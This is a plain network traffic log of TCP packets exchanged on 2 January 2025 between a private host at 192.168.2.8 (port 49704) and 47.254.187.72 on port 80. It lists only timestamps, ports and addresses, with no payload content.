Jan 2, 2025 20:20:00.207226038 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.208025932 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.208101034 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.246419907 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.246439934 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.246453047 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.246464968 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.246510029 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.246520996 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.246635914 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.246685028 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.294378996 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.294395924 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.294409037 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.294450045 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.294462919 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.294475079 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.294481993 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.294534922 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.294584036 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.294786930 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.294799089 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.294811010 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.294846058 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.294876099 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.295006037 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.295018911 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.295030117 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.295042038 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.295075893 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.295083046 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.295145035 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.295186043 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.295198917 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.295229912 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.295238972 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.295252085 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.295258999 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.295268059 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.295272112 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.295284033 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.295289993 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.295295954 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.295309067 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.295332909 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.295332909 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.295372009 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.295748949 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.295831919 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.295842886 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.295844078 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.295856953 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.295870066 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.295881033 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.295881033 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.295897007 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.295934916 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.295934916 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.296341896 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.296354055 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.296367884 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.296380043 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.296391964 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.296403885 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.296406031 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.296417952 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.296436071 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.296444893 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.296444893 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.296480894 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.296778917 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.296792030 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.296811104 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.296823978 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.296839952 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.296855927 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.296868086 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.296875000 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.296880007 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.296892881 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.296905041 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.296915054 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.296926975 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.296940088 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.296947956 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.296952963 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.296962023 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.296969891 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.297014952 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.297035933 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.297868013 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.297884941 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.297897100 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.297909975 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.297923088 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.297934055 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.297941923 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.297945976 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.297960043 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.297971010 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.297982931 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.297988892 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.297988892 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.297996044 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.298008919 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.298021078 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.298043966 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.298088074 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.298088074 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.298655033 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.298667908 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.298680067 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.298692942 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.298705101 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.298717022 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.298721075 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.298731089 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.298743963 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.298758984 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.298789978 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.298789978 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.298839092 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.337301016 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.337316990 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.337330103 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.337341070 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.337353945 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.337367058 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.337379932 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.337392092 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.337404966 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.337419033 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.337507963 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.337527990 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.388823032 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.388840914 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.388911009 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.388963938 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.388972998 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.388987064 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.389040947 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.389060974 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.389137030 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.389149904 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.389162064 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.389174938 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.389183998 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.389193058 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.389203072 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.389205933 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.389239073 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.389286995 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.389290094 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.389308929 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.389322996 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.389334917 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.389347076 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.389348030 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.389359951 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.389386892 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.389391899 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.389404058 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.389409065 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.389416933 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.389429092 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.389450073 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.389461994 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.389473915 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.389480114 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.389487028 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.389525890 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.389525890 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.389659882 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.389672041 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.389684916 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.389703035 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.389714003 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.389719009 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.389756918 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.389756918 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.389837980 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.389851093 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.389862061 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.389873028 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.389885902 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.389899969 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.389904022 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.389936924 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.389981031 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.390014887 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.390027046 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.390038967 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.390053034 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.390070915 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.390081882 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.390083075 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.390098095 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.390105963 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.390111923 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.390134096 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.390161037 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.390171051 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.390844107 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.390855074 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.390861988 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.390870094 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.390882969 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.390894890 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.390907049 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.390979052 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.390979052 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.391027927 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.391041994 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.391053915 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.391067028 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.391077995 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.391079903 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.391093016 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.391105890 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.391119003 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.391155958 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.391170025 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.397619963 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.397630930 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.397641897 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.397655964 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.397667885 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.397712946 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.397747040 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.397783041 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.397794962 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.397802114 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.397808075 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.397819042 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.397851944 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.397883892 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.397919893 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.397938967 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.397950888 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.397962093 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.397974968 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.397979021 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.397985935 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.397986889 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.398001909 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.398036003 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.398046970 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.398088932 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.398102045 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.398113012 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.398123980 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.398138046 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.398145914 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.398149014 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.398164034 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.398175001 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.398205996 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.398210049 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.398210049 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.398228884 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.398250103 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.398257017 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.398268938 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.398281097 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.398293972 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.398297071 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.398308039 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.398319960 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.398329973 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.398334980 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.398349047 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.398350000 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.398361921 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.398370028 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.398375034 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.398390055 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.398394108 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.398406982 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.398421049 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.398428917 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.398433924 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.398447037 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.398448944 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.398459911 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.398473024 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.398473978 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.398485899 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.398499012 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.398519039 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.398545980 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.431293011 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.431323051 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.431364059 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.431364059 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.431482077 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.431495905 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.431507111 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.431519032 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.431530952 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.431540966 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.431540966 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.431583881 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.475677967 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.475702047 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.475725889 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.475737095 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.475750923 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.475763083 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.475775957 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.475788116 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.475795031 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.475809097 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.475816011 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.475821972 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.475838900 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.475851059 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.475888968 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.475888968 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.475891113 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.475903988 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.475917101 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.475929976 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.475943089 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.475943089 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.475943089 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.475991964 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.476035118 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.476151943 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.476170063 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.476182938 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.476193905 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.476208925 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.476249933 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.476294041 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.476301908 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.476314068 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.476325989 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.476340055 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:00.476351023 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:00.476351976 CET	80	49704	47.254.187.72	192.168.2.8
